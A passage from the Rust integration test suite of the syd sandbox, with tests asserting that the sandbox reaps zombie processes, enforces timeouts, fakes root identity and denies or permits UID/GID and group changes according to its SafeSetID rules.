Ok(())
}
fn test_syd_reap_zombies_bare() -> TestResult {
skip_unless_available!("bash", "sleep");
let status = syd()
.p("off")
.argv(["bash", "-cex"])
.arg(
r#"
for i in {1..10}; do
( sleep $i ) &
done
disown
exit 42
"#,
)
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
fn test_syd_reap_zombies_wrap() -> TestResult {
skip_unless_available!("bash");
skip_unless_unshare!("user", "mount", "pid");
let status = syd()
.p("off")
.m("unshare/user,mount,pid:1")
.argv(["bash", "-c"])
.arg(
r#"
set -e
for i in {1..10}; do
( sleep $i ) &
done
echo >&2 "Spawned 10 processes in the background."
echo >&2 "Disowning and exiting..."
disown
exit 42
"#,
)
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
// Tests if timeout command works.
fn test_syd_timeout() -> TestResult {
skip_unless_available!("sleep");
let status = syd()
.p("off")
.m("timeout:10s")
.argv(["sleep", "inf"])
.status()
.expect("execute syd");
assert_status_timeout_exceeded!(status);
Ok(())
}
// Tests if `whoami` returns `root` with `root/fake:1`
fn test_syd_whoami_returns_root_fake() -> TestResult {
let status = syd()
.p("off")
.m("root/fake:1")
.do_("getuid", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if `whoami` returns `root` with `root/map:1`
fn test_syd_whoami_returns_root_user() -> TestResult {
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.m("root/map:1")
.do_("getuid", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_uts_sethostname_default() -> TestResult {
let status = syd()
.p("off")
.do_("sethostname", ["foo"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_uts_sethostname_unshare() -> TestResult {
skip_unless_unshare!("user", "uts");
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("trace/allow_unsafe_namespace:user,uts")
.do_("sethostname", ["foo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_uts_setdomainname_default() -> TestResult {
let status = syd()
.p("off")
.do_("setdomainname", ["foo"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_uts_setdomainname_unshare() -> TestResult {
skip_unless_unshare!("user", "uts");
skip_unless_available!("sh", "unshare");
let status = syd()
.p("off")
.m("trace/allow_unsafe_namespace:user,uts")
.do_("setdomainname", ["bar"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_privdrop() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
skip_unless_cap!("setgid");
skip_unless_available!("id");
let uid = get_user_uid("nobody");
let gid = get_user_gid("nobody");
let status = syd()
.p("off")
.m(format!("setuid+${{SYD_UID}}:{uid}"))
.m(format!("setgid+${{SYD_GID}}:{gid}"))
.do_("privdrop", [uid.to_string(), gid.to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Python script to attempt to drop additional groups.
const PYTHON_GROUPDROP: &str = r##"
#!/usr/bin/env python3
# coding: utf-8
import os, sys
groups = os.getgroups()
print("[BEFORE] %d added groups: %r" % (len(groups), groups))
try:
os.setgroups([os.getgid()])
except Exception as e:
print("setgroups failed: %r" % e)
else:
print("setgroups OK")
groups = os.getgroups()
print("[AFTER] %d added groups: %r" % (len(groups), groups))
sys.exit(len(groups))
"##;
fn test_syd_0_groupdrop_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
skip_unless_available!("python3");
let gid = get_user_gid("nobody");
// setgroups(2) is by default a ptrace(2) hook.
let status = syd()
.p("off")
.m(format!("setgid+${{SYD_GID}}:{gid}"))
.args(["--", "python3", "-c", PYTHON_GROUPDROP])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_groupdrop_unsafe() -> TestResult {
skip_unless_cap!("setgid");
skip_unless_available!("python3");
skip_unless_trusted!();
let gid = get_user_gid("nobody");
// setgroups(2) is a seccomp(2) hook with trace/allow_unsafe_ptrace:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m(format!("setgid+${{SYD_GID}}:{gid}"))
.args(["--", "python3", "-c", PYTHON_GROUPDROP])
.status()
.expect("execute syd");
// With the seccomp(2) setgroups(2) hook, sandbox process keeps
// additional groups. This is unsafe and only allowed with
// trace/allow_unsafe_ptrace:1.
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_0_setuid_nobody_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setuid", ["65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setuid_nobody_safesetid_deny() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: See the comment to test setuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setuid", ["65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setuid_root_safesetid_deny() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setuid success.
// SAFETY: Compared to the test setuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setuid", ["1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setuid_nobody_safesetid_allow() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setuid", ["65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setuid_nobody_safesetid_upper() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = 65534u64 | 0x100000000;
let status = syd()
.log("warn")
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setuid", [&uid.to_string()])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setgid_nobody_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setgid", ["65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setgid_nobody_safesetid_deny() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setgid", ["65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setgid_root_safesetid_deny() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setgid success.
// SAFETY: Compared to the test setgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setgid", ["1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setgid_nobody_safesetid_allow() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setgid", ["65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setgid_nobody_safesetid_upper() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = 65534u64 | 0x100000000;
let status = syd()
.log("warn")
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setgid", [&gid.to_string()])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setreuid_nobody_default_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setreuid", ["-1", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setreuid_nobody_default_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setreuid", ["65534", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setreuid_nobody_default_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setreuid", ["65534", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setreuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["-1", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setreuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["65534", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setreuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["65534", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setreuid_root_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setreuid success.
// SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["-1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setreuid_root_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setreuid success.
// SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setreuid_root_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setreuid success.
// SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_allow_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setreuid", ["-1", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_allow_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setreuid", ["65534", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_allow_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setreuid", ["65534", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_upper_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.log("warn")
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setreuid", [&uid, "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_upper_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.log("warn")
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setreuid", ["-1", &uid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setreuid_nobody_safesetid_upper_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.log("warn")
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setreuid", [&uid, &uid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setregid_nobody_default_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setregid", ["-1", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setregid_nobody_default_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setregid", ["65534", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setregid_nobody_default_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setregid", ["65534", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setregid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["-1", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setregid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["65534", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setregid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["65534", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setregid_root_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setregid success.
// SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["-1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setregid_root_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setregid success.
// SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
